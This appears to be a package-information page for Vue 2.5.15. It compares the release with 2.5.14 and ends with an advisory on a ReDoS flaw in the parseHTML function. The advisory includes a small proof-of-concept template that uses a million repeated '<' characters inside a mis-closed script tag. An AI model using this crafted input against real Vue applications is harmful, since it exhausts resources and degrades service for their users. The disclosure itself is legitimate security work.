Vue 2.5.15 represents a minor version update over its predecessor, Vue 2.5.14, within the popular progressive JavaScript framework, Vue.js. Both versions retain the core strengths of Vue.js, including its reactive, component-oriented architecture that simplifies the creation of dynamic and interactive web interfaces. The description and the devDependencies section remain virtually identical, indicating that the core build and testing processes were unchanged between versions.
The primary difference between these two releases lies in the bundled code and potentially bug fixes or minor performance tweaks. While the devDependencies listing, license, repository, and author information are consistent, subtle changes may exist in the compiled JavaScript code, as suggested by "unpackedSize" which is slightly larger for **2.5.15**, even though the "fileCount" is the same. This suggests internal code enhancements or bug fixes. The "releaseDate" field in the data shows a one-day difference and confirms that the update was released on the next day.
For developers using Vue, upgrading from 2.5.14 to 2.5.15 should generally be a seamless process. Given the nature of minor version updates, developers can expect backward compatibility, meaning existing components and applications built with Vue 2.5.14 should function correctly after upgrading. The update is likely focused on stability improvements or addressing niche edge cases. Developers are always encouraged to review the official Vue.js changelog for a comprehensive list of any specific bug fixes or enhancements included in the update, ensuring a smooth transition and optimal performance of their Vue.js applications.
All the vulnerabilities related to the version 2.5.15 of the package
ReDoS vulnerability in vue package that is exploitable through inefficient regex evaluation in the parseHTML function
The ReDoS can be exploited through the parseHTML function in the html-parser.ts file. This flaw allows attackers to slow down the application by providing specially crafted input that causes inefficient processing of regular expressions, leading to excessive resource consumption.
To demonstrate this vulnerability, here's an example. In a Vue client-side application, create a new Vue instance with a template string that includes a <script> tag but closes it incorrectly with something like </textarea>.
new Vue({
el: '#app',
template: '
<div>
Hello, world!
<script>${'<'.repeat(1000000)}</textarea>
</div>'
});
Next, set up a basic HTML page (e.g., index.html) to load this JavaScript and mount the Vue instance:
<!DOCTYPE html>
<html>
<head>
<title>My first Vue app</title>
</head>
<body>
<div id=\"app\">Loading...</div>
</body>
</html>
When you visit the app in your browser at http://localhost:3000, you'll notice that the time taken to parse and mount the Vue application increases significantly due to the ReDoS vulnerability, demonstrating how the flaw can affect performance.